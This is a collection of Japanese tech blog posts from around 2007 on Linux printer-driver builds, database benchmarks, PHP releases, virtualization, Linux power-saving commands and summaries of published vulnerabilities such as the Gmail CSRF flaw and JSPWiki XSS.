このcnijfilter-commonはlibxml(obsoleteなパッケージです)が必要なので、どこかから適当なSRPMを拾ってきます。rpmbuildコマンドでビルドするとlibtoolでエラーが発生するので/usr/sbin/libtoolで上書きします。書き換えていれば問題無くビルドできました。
次にcnijfilterのビルドですが、まずcups-devel, gtk+1-develをインストールしておきます。他にも必要な開発用パッケージがあるかもしれません。必要な物はインストールします。
%installセクションの
install -c -s -m 755 ${PR_ID}/database/* ${RPM_BUILD_ROOT}%{_libdir}/bjlib
の-sオプションを削除します。ライブラリでもないファイルに-s(stripオプション)が付いているのでエラーになります。後はrpmbuildでビルドして出来上がったrpmを全部インストールします。
CUPSは再起動しないと新しいドライバを読み込まないので再起動します。その後、プリンタメーカでCanonを選択するとcnijfilterがサポートするプリンタ(Canon PIXUS iP4200 / PIXUS iP6600D / PIXUS iP7500 / PIXUS MP500)が一覧に表示されるようになります。
サポートディストリビューションはSUSE Linux 10.0、Turbolinux FUJIとなっていますが同じ手順でFedoraなどにもインストールできると思います。ここにRedHat系のOSが載っていないのはサポート負荷軽減の為?と勘ぐりたくなります。Libxml2を使うように書き換えればもっと簡単に多くのディストリビューションで使えるようになると思います。
Canonのページを見るとUSBからの接続しかできないような記述になっていますがネットワークプリンタとして接続できればLPDでもIPPでも印刷できます。
MomongaLinux3以来のインストールでしたが以前よりインストールが簡単になっていました。以前はインストール済みのライブラリ(確かlibpngとか)を強制的に別バージョンに見せてインストールしたと思うのですが今回はそのような荒技を使わなくても普通にインストール出来ました。
Mac OSXにはiP7500用のドライバがあるのですがこのドライバはMacのUSBポートに直接iP7500が刺さっていないと動作しない代物です。OSXもCUPSを使っています。CUPSのフィルタならOSXでも使えるはずなので余裕があるときにインストールしてみたいと思います。
追記:
とりあえずビルドした物を公開しました。よろしければどうぞ。
http://wiki.ohgaki.net/index.php?Momonga%20Linux%2FCanon%20Printer
フィードバックはまだありません...
コメントを残す
簡単なベンチマーク
最近のPostgreSQL, MySQL, SQLiteのパフォーマンスはどうかな?と言うことで非常に簡単なベンチマークをしてみました。
デフォルト状態のデータベースに郵便番号データ(12万件とちょっと)をINSERTしてみました。フラグを除く全てのフィールドをテキスト型として定義し、全てのフィールドを挿入しました。旧番号と現行番号にインデックスを付けています。スクリプトはPHPで記述し、DBが動作しているPC上からPHP 5.2.4で実行しました。1レコードが分割されている場合などは無視して挿入しているので12万2000レコードになりました。
PC
CPU: PentiumD 2.8GHz
Memory: 3GB
HDD: PATA
DBMS
MySQL: 5.0.45
PostgreSQL: 8.2.4
SQLite: 3.4.0 (PDO)
実行結果(12万行INSERTの実行時間)
InnoDb: 130.70663690567
MyISAM: 131.24672317505
Postgres: 159.47350597382
SQLite: 676.43534302711
MySQLもPostgreSQLもチューニングは一切無しで実行しています。
非同期クエリを利用するとPostgreSQLもInnoDb, MyISAMと同じくらいの速度になりました。
どのDBもペンチマーク中はディスク待ちの状態でCPU時間はあまり使っていませんでした。
MySQLとPostgresは概ね予想通りの結果でしたが、SQLiteが異常に遅いのでPDOを使わないで計測してみましたがあまり変わりませんでした。トランザクションかな?と思いBEGIN, COMMITを付けてみましたが変わりませんでした。
INSERTしたレコードをランダムにSELECTしてみました。番号はmt_rand関数で生成したのでほとんどがINDEXにヒットしないので、インデックスを利用した検索の最悪のケースのテストになります。単純にテーブルから検索をするだけです。永続的接続を利用しています。
Webサーバ:Apache 2.2.6
クライアント: ab -n 10000 -c 10 (別PCから実行。Athlon64 3500+/3GBメモリ)
パフォーマンス:リクエスト/秒
Postgres: 947.58
SQLite: 1096.00
MySQL(MyISAM): 1190.35
MySQL(InnoDb): 1245.85
概ね予想通りの結果ですが、SQLiteが思っていたより遅いです。PostgreSQLは接続のネゴシエーション処理が重いので非永続的接続を利用するとかなりパフォーマンスが落ちます。システム全体でDBへの接続数を上手に制御できていない場合はpgpoolを利用するとパフォーマンス(システム全体のスループット)が改善することがこの事からも分かります。
「Postgresでこんな数字でないよ」という方、pg_pconnectで試してみましょう。コネクションプーリングが無いと話になりません。
フィードバックはまだありません...
コメントを残す
PHP 5.3とPHP 5.2
ちょっと前にPHP 5.3のブランチが作られた、と書きましたが今度は前のマイナーバージョンもしばらくメンテナンスされます。どれくらいメンテナンスされるかは分かりませんが、メンテナンスされるのは良い事です。
PHP 5.3とPHP6の位置づけですが、基本的にPHP6 = PHP 5.x(最新版)- Unicodeサポートという形で合意が形成されているでPHP 5.xのマイナー版は機能追加が行われる予定です。
PHP 5.3がリリースされても慌ててPHP 5.2から5.3にアップグレードする必要はありません。ただし、PHP 5.2のサポートはそれほど長くはないので次々とPHP 5.xへとアップグレードする必要性がなくなる訳ではありません。
PHP 5.3は来年の第一四半期にリリース予定です。
フィードバックはまだありません...
コメントを残す
Webサイト改竄の新傾向? AdSenseの乗っ取り。
リンク: http://forums.digitalpoint.com/showthread.php?t=502683
リンク先のフォーラムによるとページ改竄が可能なWebサイトのAdSenseを自分のIDに改竄してしまう、という直接的な攻撃が行われ始めたようです。
小規模なサイトなら「自分の広告が表示されている、と思っていたら他人の広告だった」と気がつくまでには1カ月くらいは必要かもしれないので多数のWebサイトに仕掛ければ小銭稼ぎくらいはできるかも知れません。実際、実験用にこのブログにもAdSense広告を張り付けていますが、広告収入がどれくらいなのかほとんどチェックしていません。(というよりチェックしたくなるほどの広告収入にはなりません)
小銭、といっても月数万円にほどになれば発展途上国ではクラックする十分な動機になります。日本の場合、言語障壁が高いので欧米に比べればリスクは高くは無いと考えられます。
日本でもこの手の被害は発生しているのかな?
フィードバックはまだありません...
コメントを残す
Javaの脆弱性
書かない日記なので書きませんがJava(JRE,JDK,SDK)の脆弱性が多数CVEとして公開されています。数日前のアップデートで更新されていると思いますが、WindowsUpdateのついでにJavaもアップデートの確認をした方が良いです。
アプレットを使ったリモートからの任意ファイルの読み取り、DNS Rebinding攻撃に対する防御などいろいろアップデートされています。
勝手に更新するように設定していたはずのPCでもJavaアップデータのバグか何かで更新ができていないPCもあるのでちょうど良い機会のなので念のために確認するのも良いと思います。
JRE1.6ならJRE Update 3(1.6.0_03), JRE1.5ならUpdate13, JRE1.4なら1.4.2_16になっていればOKです。
CVEの一部
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5274
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5273
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5239
フィードバックはまだありません...
コメントを残す
IEの脆弱性
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3893
Unspecified vulnerability in Microsoft Internet Explorer 5.01 through 7 allows remote attackers to execute arbitrary code via unspecified vectors involving memory corruption from an unhandled error.
ということで、IEすべてにリモートコード実行の脆弱性があり
http://www.microsoft.com/technet/security/bulletin/ms07-057.mspx
がFIXだそうです。
普通にWindowsUpdateを動かしていれば今日中にはアップデートされると思います。
フィードバックはまだありません...
コメントを残す
Windows Vista用パッチ
http://support.microsoft.com/kb/941649
http://support.microsoft.com/kb/941600
1台ハイバーネーションからの復帰にやたらと時間がかかるVistaがあるのですが、一応このパッチで対応している事になっています。KB938194,KB938979のどちらかが同じ問題を対処したことになっていましたが私が持ているPCには役に立ちませんでした。今回のパッチは役に立つのかも知れません。
http://support.microsoft.com/?kbid=941649
この更新は、互換性と信頼性と Windows Vista の安定性が向上させます。 このアップデートには、次の向上が含まれます。• モバイル デバイスのバッテリの寿命を拡張します。
• uninterruptable な電源装置(UPS)を使用するポータブル コンピュータのとデスクトップ コンピュータの安定性を向上させます。
• スタートアップ アプリケーションのメニューを開くと、 Windows Vista の信頼性を向上します。
• Web ページ開くと、 Internet Explorer の安定性を向上させます。
• ワイヤレス ネットワーク サービスの安定性を向上させます。
• 優れるタイミング構造体を使用しようと Windows Vista の起動時間を短くします。
• 一定期間が Windows Vista に発生した後、復旧時間を短縮します。
• Photo スクリーン セーバーを終了しようとする復旧時間を短縮します。
• Windows PowerShell の安定性を向上させます。
また、次の Windows Vista での問題がこの更新で解決します。• サードパーティ ウイルス対策ソフトウェアの一部のアプリケーションに影響する互換性の問題。
• Windows Vista-based コンピュータが特定のドライバのネットワーク構成を使用する場合、発生する信頼性問題。
http://support.microsoft.com/?kbid=941600
ロールアップ修正プログラムに修正される問題
925528 (http://support.microsoft.com/kb/925528/) 停止エラーは、 2 GB または複数の RAM を持ちそして NVIDIA nForce USB コントローラを使用している Windows ベースのコンピュータで発生します。
929734 (http://support.microsoft.com/kb/929734/) スリープまたは休止から Windows Vista-based コンピュータを再開した後、問題が発生することがあります。
930568 (http://support.microsoft.com/kb/930568/) Windows Vista-based コンピュータがスリープまたは休止へ状態とすると、エラー メッセージ:「 STOP 0x000000FE BUGCODE_USB_DRIVER」
929478 (http://support.microsoft.com/kb/929478/) ポータブル Windows Vista-based コンピュータから組み込む光ドライブを削除するために、ハードウェアの安全な取り外しオプションを使用した後に、ドライブに再接続することができません。
930570 (http://support.microsoft.com/kb/930570/) スリープまたは休止から Windows Vista-based コンピュータが起きるとき、 Usbhub.sys プロセスでのエラー メッセージ:「 STOP」 0x00000044
928631 (http://support.microsoft.com/kb/928631/) Windows Vista がスリープまたは休止から再開された後、正しくもう USB デバイスが機能しない可能性があります。
933433 (http://support.microsoft.com/kb/933433/) RAM または複数のを持つ Windows Vista-based コンピュータで USB マイクを使用すると、品質を記録するのが不十分です。
933442 (http://support.microsoft.com/kb/933442/) USB 複合デバイスはデバイス マネージャでの Windows Vista を実行しているコンピュータ上の装置を無効にした後、そして有効に次にした後、動作しません。
934633 (http://support.microsoft.com/kb/934633/) Windows Vista-based コンピュータに USB 多機能プリンタ デバイスを接続すると、プリンタ オブジェクトの 2 のインスタンスを作成し、最初のインスタンスが動作しません。
934796 (http://support.microsoft.com/kb/934796/) USB 複合デバイスを実行している Windows Vista-based コンピュータでのエラー メッセージ:「 STOP」 0x000000FE
933824 (http://support.microsoft.com/kb/933824/) ハードウェアの安全な取り外し機能と「取り出す」エクスプローラのコマンドが Windows Vista-based コンピュータが接続されたアップル iPod で正しく機能しません。
935782 (http://support.microsoft.com/kb/935782/) "選択的に中断する" UHCI USB コントローラを使用する Windows Vista-based コンピュータでのモード長い時間 USB デバイスが再開されるようとります。
935783 (http://support.microsoft.com/kb/935783/) スリープからの Windows Vista-based コンピュータを再開すると、 USB デバイスからの予期しない現象が発生することがあります。次の問題については、以前サポート技術情報(Microsoft Knowledge Base)に記載されませんでした。• コンピュータがサスペンド状態または休止状態から再開するとき、コンピュータがコンピュータは、応答を停止します。 また、「 0x9F」にブルー スクリーンの STOP メッセージを表示します。
• コンピュータは、長い時間サスペンド状態または休止状態から再開するのにとります。
• VIA コントローラを使用する場合、長い時間サスペンド状態または休止状態から再開するのにとります。
• AuthenTec USB 指紋リーダーを使用する場合、コンピュータは、コンピュータの応答を停止します。 また、「 0xFE」にブルー スクリーンの STOP エラーまたは「 0x9F」にブルー スクリーンの STOP エラーを表示します。
• USB Bluetooth オーディオ デバイスを使用する場合、コンピュータは、コンピュータは、応答を停止します。
• 拡張 ホスト コントローラ インターフェイス(EHCI)コントローラを使用する場合、長い時間サスペンド状態または休止状態から再開するのにとります。
• USB デバイスを削除すると、コンピュータは、コンピュータは、応答を停止します。 また、「 0xFE」にブルー スクリーンの STOP エラーを表示します。
• コンピュータがサスペンド状態または休止状態回複数再開するとき、「 0xFE」にブルー スクリーンの STOP エラーを表示します。
SP1リリースまでにかなり時間がかかるので地道にこれらのアップデートを適用しなければならないですね...
1 コメント
スリープにしかならないので復帰は速いです...
ちなみにチップセットは845Gです。ごく一般的なチップセットだと思うのですが...
この投稿にはモデレーション待ちのフィードバックが 1 件あります....
コメントを残す
VMWare Fusion 1.1 beta vs. Paralells Desktop 3.0
Boot CampでOSXとVistaをデュアルブートにして利用しています。Boot Camp 1.4 betaにアップグレードしてからParalellsの調子が非常に悪く、直ぐに固まるのでVMWare Fusionを試してみる事にしました。
キーボードの配列がAT配列になる、ディスプレイドライバの設定に問題があったのかVistaの画面がSVGAになった、Boot Campのドライバをインストールし直す必要があった、などのマイナーなトラブルは有りましたが普通に使えます。もっともチャレンジャーにもParalellsをアンインストールしないでVMWare Fusionをインストールした事が問題の原因かもしれませんが。
結論から言うとVMWareを使う事にしました。
- CPU消費が少ない
- 速い(体感的に)
が決め手になりました。Paralellsでぎくしゃくしていたアプリもかなり快適に動作するようになりました。フルスクリーンも使いやすいです。(OSXのメニューバーは邪魔なのでVMWareを使っている時のように隠れてくれるとうれしいのですが... 確かアプリ毎だった気がするのでOSでは変えれないのかもしれません。知らないだけで設定があるのかな?)
3DとDual Coreを有効にする設定も試してみましたが、3Dを有効にするとVistaでは無理ある(?)らしくまともに利用できませんでした。Dual Coreも有効にして少し使うとフリーズしたので無効にしました。
細かい所、例えばMacに無いキーが送信できるなどの機能はParalellsの方が良い感じです。しかし、VMWareは多少の問題は在りますが、軽快に動く方が助かるのでVMWareに乗り換えると思います。
Paralellsをインストールしている方でVMware Fusionを試したい方は最初にParallelsでWindowsを起動してParalells Toolをアンインストールした方が良いです。このツールはParallelsで起動していないとセットアッププログラムが動作しないようになっています。このツールを削除しておくとここに書いていたキーボードやドライバの問題は発生しないのかもしれません。
1 コメント
- vmwareはvistaがサスペンド状態になった場合、復帰するまでに非常に時間がかかる。(ダメか?と思うくらい長い。もしかしてこれはvistaの問題?)
- vmwareは仮想環境としてサスペンド状態に状態にできないのでこれが結構面倒
コメントを残す
OSX 10.5 Leopardは10/19(大安)発売?
テキトーにMac OSXのニュースを見ていたらLeopardの発売日は10/19の大安ではないか?と言う説を見つけました。
過去発売日の4回のうち2回は大安、他も先勝などの縁起の良い日だったそうです。日本はAppleにとってお得意様だから縁起の良い日に発売しているのでは?と書かれていました。
ブックマークしなかったので元ネタURL無しで申し訳ないです。
追記:
見つけました。
http://blogs.itmedia.co.jp/2013/2007/10/mac_os_x_leopar_b514.html
http://japan.cnet.com/news/biz/story/0,2000056020,20358086,00.htm
によると10月26日(金)発売かも、となっています。
フィードバックはまだありません...
コメントを残す
Netscape 9 ....
リンク: http://codezine.jp/a/article/aid/1758.aspx
開発は継続していたのですね。広告収入だけでも結構な収入源になっているのしょうか?
中身はIEとFirefoxなので態々Netscape用にテストしなくても良いので開発者としては、在っても無くても良いブラウザです。このブログに過去30日間のアクセスしたブラウザの0.2%がNetscapeだったようです。
久しぶりにGoogle Analyticsを見て驚きました。IEのシェアが51.14%になっていました。Firefoxが39.40%でした。
最近公開されていたGoogle MailのXSS脆弱性もNoScriptを入れていると防げるケースも在ったようです。こういう事例がFirefoxユーザシェアを広げているのかも知れません。
# NoScriptはインストールすると明らかなXSSは防いでくれます。
# おかげでXSS関係の簡単なテストでも普段使いのFirefoxでできない
# のは不便ですが。
フィードバックはまだありません...
コメントを残す
Boot Camp 1.4 beta
リンク: http://www.apple.com/jp/macosx/bootcamp/
OSXのソフトウェアアップデートでEFI(MacのBIOSのようなもの)のアップデートがあったので、もしかして、と思ってBoot Campをダウンロードし直してみました。
現時点の日本語サイトでは「1.3 beta」と表示されていますが、ダウンロードした中身は「1.4 beta」になっていました。早速インストールしてドライバディスクを作成し、Vistaにドライバを入れてみました。特に変わったところは感じられませんがドライバ類は更新されたようです。
英語サイトのBoot Campのページは「1.4 beta」と表示され、大きくなったダウンロードサイズも正しく表示されていました。
安定性で困っている方、アップデートを試してみてはいかがでしょうか?
追記:
Pallarels Desktopと相性が良くないようです。私の環境ではフリーズしたようになって仮想環境(Boot Camp)が満足に利用できない状態です。
2 コメント
今これからBootCamp1.4をiMac+OS10.4.10にインストール、かつParallels3.0と同居させようと企てていますが、yohgakiさんの具合の悪くなったParallelsもバージョンは3.0なのでしょうか?
現在はOSX 10.5.1+ Parallels Desktop 3.0 beta版(リリース前のベータ版)で使っています。10.4 + 3.0に比べると安定性が落ちたような気がします。
コメントを残す
JSPWiki?
JSPWikiの脆弱性がCVEに書いてあったので見てみました。
JSPWiki: http://jspwiki.org/
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5121
Cross-site scripting (XSS) vulnerability in
JSPWiki 2.5.139-beta allows remote attackers to inject
arbitrary web script or HTML via the redirect parameter
to wiki-3/Login.jsp and unspecified other components.
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5120
Multiple cross-site scripting (XSS) vulnerabilities
in JSPWiki 2.4.103 and 2.5.139-beta allow remote
attackers to inject arbitrary web script or HTML
via the (1) group and (2) members parameters in
(a) NewGroup.jsp; the (3) edittime parameter in
(b) Edit.jsp; the (4) edittime, (5) author, and
(6) link parameters in (c) Comment.jsp; the (7)
loginname, (8) wikiname, (9) fullname, and (10)
email parameters in (d) UserPreferences.jsp and
(e) Login.jsp; the (11) r1 and (12) r2 parameters
in (f) Diff.jsp; and the (13) changenote parameter
in (g) PageInfo.jsp.
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5119
JSPWiki 2.4.103 and 2.5.139-beta allows remote
attackers to obtain sensitive information (full path)
via an invalid integer in the version parameter
to the default URI under attach/Main/.
要約すると「クロスサイトスクリプティングをはじめセキュリティの事を全く考えずに作ってしまいました」という感じ(?)です。
安定版のソースをダウンロードして見てみました。JSPWikiとなっていたので、全部JSP?と思いましたが違いました。zipで6MBあるので結構な分量です。
[yohgaki@dev JSPWiki]$ find . -name "*.jsp" | wc -l
55
[yohgaki@dev JSPWiki]$ find . -name "*.java" | wc -l
430
[yohgaki@dev JSPWiki]$ find . -name "*.jar" | wc -l
29
インストールに必要な環境
* Java (1.4 for 2.2)
* To know what a WAR file is and how to use it.
* A Servlet 2.3 -compliant web server. JSPWiki of course runs on 2.4 -compliant servers, we just don't require anything more than 2.3. Containers that are known to work include:
o Tomcat (4.0 and higher) works quite nicely. For best results, we recommend Tomcat 5.5.
o See below for more container-specific notes
* A server to run your Wiki on. It does not have to be a very big server: JSPWiki has been run on a 266 MHz Pentium II with 192 Mbytes of memory.
* Some patience (the setup is not as easy as I would like it to be)
* If you want to email things, you need JavaMail and the Java Activation Framework JARs. Email is needed for password recovery, or error logging (log4j) if you wish to configure it that way.
初めての脆弱性レポートなのか調べてみると
http://secunia.com/advisories/13285/
がありました。
Release Date: 2004-11-24
Last Update: 2005-02-21
3年前くらいによくありそうなQueryパラメータのクロスサイトスクリプティング脆弱性がレポートされています。どうしてこんな感じになってしまったのか時間がある時に調べたいです。
フィードバックはまだありません...
コメントを残す
Webカメラの脆弱性
リンク: http://www.gnucitizen.org/blog/owning-big-brother-hollywood-style-exploits-included
WebカメラのなどのデバイスはWebサーバ機能を持っています。脆弱性がありそうだな、と思っていましたが調べてみるとかなり危険な状態のようです。
* Cross-browser XSS phishing
* Replacing the legitimate video stream with our own
* Adding a Backdoor Root Account
* Stealing the ‘passwd’ File
最近のWebカメラはメモリも十分でプログラムも実行できるので普通のWebサーバとしても利用できるくらいになっています。ネットワークWebカメラの運用には注意が必要なようです。
フィードバックはまだありません...
コメントを残す
Gmailに脆弱性
リンク: http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
GnuCitizenとばしてますね。先日はPDFによるコード実行脆弱性を公開(ただし、詳細不明)していました。その前はQuickTimeでした。今度はGmailの脆弱性だそうです。
The technique used in this example is known as Cross-site request forgery, or simply put CSRF.
CSRF脆弱性だったそうです。リンク先のページではフィルタ設定を改竄するスクリーンショットが掲載されていました。
対策は簡単、予測不可能なリクエストIDを全てのデータ変更リクエストにつけるだけです。手っ取り早いのはセッションIDを流用する方法ですが、セッションID漏洩のリスクが増加するのであまりお勧めできません。次に簡単なのはセッション変数としてIDを保存する方法です。この方法を採用したのかな?POSTメソッドなので単純にセッションIDを利用したのかな?
追記:
中身は同じなのかも知れませんが、XSS(?)でも似たような攻撃ができたようです。
http://blog.beford.org/?p=3
フィードバックはまだありません...
コメントを残す
PHP 5.3ブランチ
PHP 5.3のブランチが出来ています。
個人用のアプリケーションなら、「Release fast, release early」でも良いと思いますが、フレームワークに近い言語が「Release fast, release early」だと困る方も多いと思います。互換性を維持しないアップグレードは1年に一回以内、出来れば18ヶ月か24ヶ月サイクルくらいに留めた方が良いと思います。
モジュールを別途配布するようにすればかなり現実的になるのですけどね...
PHP Core, PHP Standard, PECL, 3rd party, 程度に分けて管理すれば良いと思います。
とにかく、準備が必要な方はテストで使ってみては?
フィードバックはまだありません...
コメントを残す
ImageMagickに脆弱性
少し前にPythonの画像処理デフォルトモジュールの脆弱性について書きました。「普通はデフォルトのライブラリは使わずにImageMagickとかを使うよね」というツッコミが入っていたので、画像ライブラリは脆弱性が多いことも紹介していたのですが、そのImageMagickに脆弱性です。DoS, Off by One, Integer overflowです。
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=596
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=595
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=594
影響する画像形式は一般的な画像形式でないので、あまり影響は大きくないのです。最近ImageMagickなどは脆弱性が多い、と書いていたので載せました。
フィードバックはまだありません...
コメントを残す
Linuxの電源管理
リンク: http://www.lesswatts.org/
Linuxパワーユーザには当たり前の情報が多いですが、IDFでlesswatts.orgがお披露目となったようです。
と同じ情報が掲載されているものが多いようです。
LinuxをノートPCで利用する場合に少しでも長くバッテリを利用する為のTipsが掲載されています。サーバの消費電力軽減にも役立つTipsもあります。Intelチップ専用のTipsもありますが、Intel以外でも使えるTipsもあります。Kernelやコマンドがサポートしていないと利用できない機能もあります。
サイトの掲載されているTIPS:
SMPスケジューラの電源管理有効化
echo 1 > /sys/devices/system/cpu/sched_mc_power_savings
SATA電源管理有効化
hdparm -B 1 -S 12 /dev/sda
-B set Advanced Power Management setting (1-255)
-S set standby (spindown) timeout
-y put IDE drive in standby mode
-Y put IDE drive to sleep
-Z disable Seagate auto-powersaving modeラップトップモードの有効化
echo 5 > /proc/sys/vm/laptop_mode
CD/DVDをポールしない
hal-disable-polling --device /dev/scd0
デスクトップでもCD/DVDを挿入した場合に操作を選択するダイアログを表示されない為に利用すると便利。
WOL(Wake on LAN)の無効化
ethtool -s eth0 wol d
Gigabit LANを100Mbpsに変更
ethtool -s eth0 autoneg off speed 100
1000Mbpsに戻すには最後のパラーメータを1000にしてethtoolを実行。
Intel Wirelessアダプタの省電源機能の有効化
iwpriv eth1 set_power 5
省電源機能を無効にするには最後のパラメータを6にして実行。
自動アソシエートモードの無効化
rmmod ipw2200
modprobe ipw2200 associate=0WiFiアクセスポイントを一生懸命探さなくなる。
-
WiFiの無効化(電波OFF)
for i in `find /sys -name "rf_kill" ; do echo 1 > $i ; done
有効にするには
for i in `find /sys -name "rf_kill" ; do echo 0 > $i ; done
-
Bluetoothの無効化
hciconfig hci0 down
rmmod hci_usb バックライトの調整
xbacklight -set 50
DMPS(ディスプレイの電源管理)有効化
xset +dpms
120秒のアイドルで電源OFF
xset dpms 0 0 120
TV/VGA/DVI出力の無効化
xrandr --output TMDS --off
Realtimeの有効化
mount -o remount,relatime /
atimeの様にアクセス時間の記録をsyncしない(直ぐにatimeをアップデートしない)のでディスクの利用が効率化する。デスクトップでもお勧め。
サウンドカードの省電源機能の有効化(AC97)
echo 1 > /sys/module/snd_ac97_codec/parameters/power_save
echo 1 > /dev/dspHDAサウンドの省電源機能の確認(HDAのみ)
cat /sys/module/snd_hda_intel/parameters/power_save
0より大きな数値で有効化されている。
-
BIOS設定の変更
* Processor C1E support: This enables maximum power saving of the processor when idle.
* Enhanced Speedstep (EIST): This allows Linux to optimally reduce the frequency and voltage of the processor when not using the maximum capacity.
* Fan control: Set to "auto speed"; this allows the fans to slow down (and use less power) when the temperatures in the machine allow this.
* Enable the HPET (often called "Multimedia timer") option. This allows Linux with tickless idle to maximally save power by being idle longer.BIOS設定はハードウェア管理機能が不明なデバイスとして認識しないよう、一部の省電源機能を無効化しています。上記の機能を有効化すると消費電力が少なくなります。
1 コメント
以下のURLが参考になります。
http://kerneltrap.org/node/14148
コメントを残す
AdobeはAdobe Readerのブラウザプラグインは止めるべき
リンク: http://www.gnucitizen.org/blog/0day-pdf-pwns-windows
AdobeはAdobe Readerのブラウザプラグインは止めるべきだと思います。PDFがブラウザから見れてもうれしい事は少なく、反対に迷惑な場合が多いです。Firefoxの人気拡張にPDF Downloadがある事からも私だけでなく、多くの方が迷惑だと思っていると考えられます。せめてプラグインのインストールはデフォルトでオプションにして、欲しい人だけインストールできるようにするべきです。
Adobe Readerですが、どうもPDFからシステム上のファイルを簡単に覗き見できる、ということらしいです。
[Full-disclosure] 0day: PDF pwns Windows
http://www.gnucitizen.org/blog/0day-pdf-pwns-windows
I am closing the season with the following HIGH Risk vulnerability:
Adobe Acrobat/Reader PDF documents can be used to compromise your
Windows box. Completely!!! Invisibly and unwillingly!!! All it takes
is to open a PDF document or stumble across a page which embeds one.
元ネタのGnuCitizenサイトにアクセスできないので具体的な攻撃方法は不明。
http://blog.ohgaki.net/index.php/yohgaki/2007/09/14/noscripta_rafia_a_s
に書いたようにNoScriptで全てのプラグインはデフォルトで実行しない設定にしている方が安全だと思います。
攻撃方法が詳細が分からないので、何とも言えませんが、Adobe ReaderからPDFを読み出してもファイルを読んで、外部に送れるような問題であれば防ぐのは難しいです。少なくともプラグインを禁止していれば「ページを見て攻撃される」リスクはかなり軽減すると思います。
追記
GNUCitizenにアクセスできたのでみてみると
My advise for you is not to open any PDF files (locally or remotely)
と、「ローカルでもリモートでも、PDFファイルは開くな」と記載されています。アタックベクタが不明なので、対処方法は安全性が保証できるPDF以外は開かないのが良いと思います。少なくとも、ブラウザプラグインでクリックしたら開いた、という状況は良くないと思います。
実は少し前に流行っていたPDFファイル付きスパムメールのPDFを自分で開いた事がないです。これにファイルを盗み見れる攻撃が仕込まれていたとすると脅威ですね。
PDFプラグインの実行はNoScriptでも制御できます。
詳しくは
http://blog.ohgaki.net/index.php/yohgaki/2007/09/14/noscripta_rafia_a_s
フィードバックはまだありません...
コメントを残す
Pythonも同じか?!
リンク: http://www.securityfocus.com/bid/25696
PHPのモジュールには脆弱なコードが多かったが、PHPのモジュールに限らないはず、と言っていましたがまた別の例がありました。
Full-Disclosure(9/16)に投稿されたメッセージによると
The module imageop contains a lots of int overflow, which result in heap overflow, and maybe memory dump.
The files imageop.c and rbgimgmodule.c are examples.
という状態らしいです。モジュール(ライブラリ)は叩けば埃が沢山出てくると思います。
imageopのコードフラグメントを見ると整数オーバーフローに全く注意していないコードになっているのは明らかです。
「標準モジュールでimageopなんてモジュールだれも使ってないよ。ImageMagickなど使っている」と反論がありましたが
Maybe the real question is, if they don't know how secure an int overflow in imageop module, maybe other modules are vulns too.
と、投稿者は書いています。確かにその通りだと思います。
で、ImageMagickですが今は以前に比べてあまり脆弱性が報告されなくなりましたが少し前まで脆弱性が山ほどレポートされていました。最近レポートされている脆弱性もあります。
http://osvdb.org/searchdb.php?action=search_title&vuln_title=ImageMagick&Search=Search
http://secunia.com/search/?search=ImageMagick
裏を返せば古いバージョンを使っていて脆弱なシステムも意外と多いかも?と思ってしまいます。これはPythonに限った事ではありません。
画像、映像、音声処理ライブラリは脆弱性の固まりだと思っていた方が良いです。
コマンドを呼び出していれば他の言語と同じ、速度や使うリソースの問題がありますが、Javaはこの点に関してかなり有利だと思います。
フィードバックはまだありません...
コメントを残す
Second Lifeプロトコルハンドラのバグ
リンク: http://blog.secondlife.com/2007/09/18/second-life-url-handler-exploit/
Second Lifeは使ったことが無いので知らなかったのですが、IEを拡張してsecondlife://プロトコルを追加しているのですね。このプロトコルハンドラが脆弱でユーザIDを盗める脆弱性があるそうです。
Second Life is configured to handle ’secondlife://’ protocol urls. Internet Explorer, and browsers based on Internet Explorer, copy all information from a src or href attribute to launch the SecondLife application. Using this, a malicious website can specify an iframe or anchor tag which redirects login through a server not under Linden Lab control.
現在のところ修正中らしいです。
You can remove the association for the secondlife:// protocol until we release a fixed client by deleting the registry entry.
Second Lifeを利用している方は上記に記載されているようにWindowsレジストリを削除した方が良いと思います。
NoScriptのIE版があればiframeも禁止できるのですけどね。
PHPにもプロトコルハンドラを簡単に追加できるのですが、ハンドラの開発者がセキュリティ対策を行っていないと穴だらけになってしまいます。IEの場合も事情は一緒なのかも知れません。
プロトコルハンドラを拡張しているアプリ(主にネットワークゲーム?)には注意が必要なのかも知れません。
フィードバックはまだありません...
コメントを残す
Content-Access-Controlヘッダ
リンク: http://www.w3.org/TR/access-control/#content-access-control
Flashも同じような事ができるので、JavaScript(XMLHttpRequest)でもできるようにしてしまおう、という規格...
This restriction on "read" access to web resources is very strict and generally appropriate. However, there are scenarios where an application would like to "read" data from another resource on the web without these restrictions and in these scenarios the browser's default "security sandbox" has to be extended or eased.
つまり「Same Originポリシー」を緩くする規格です。
使い方は簡単
Content-Access-Control: allow <*.example.org> exclude <*.public.example.org>
Content-Access-Control: allow <webmaster.public.example.org>Means that every subdomain of example.org can access the resource including webmaster.public.example.org, but with the exclusion of all other subdomains of public.example.org.
Content-Access-Control: allow <example.org> <*.example.org>
Means that example.org and all its subdomains can access the resource.
です。選択的にアクセス可能なドメインをContent-Access-Controlヘッダで処理できる、という訳です。
セキュリティ的には「Same Originポリシー」を緩くするのはリスクが高くなる事を意味します。Webセキュリティの根幹である「Same Originポリシー」はどちらにしてもブラウザとプラグイン任せなので、少し緩くしても同じ、という考えなのでしょう。
XMLHttpRequestのプロキシは必要なくなります。確かに作り易くはなりますが必要なのか考えさせられます。
フィードバックはまだありません...
コメントを残す
NoScriptの使い方
リンク: http://noscript.net/
Firefoxユーザなら必ずインストールして使用する事をお勧めするのがNoScript拡張です。
NoScriptはデフォルトでJavaScriptの実行を拒否します。これだけでもかなり安全にWebサイトを参照できるようになります。しかし、NoScriptはプラグインの実行も拒否できるようになっています。Java, Firefox, Silverlight,その他全ての拡張を選択して実行を拒否できます。残念ながらJava, Sliverlight以外はデフォルトで実行可能に設定されています。
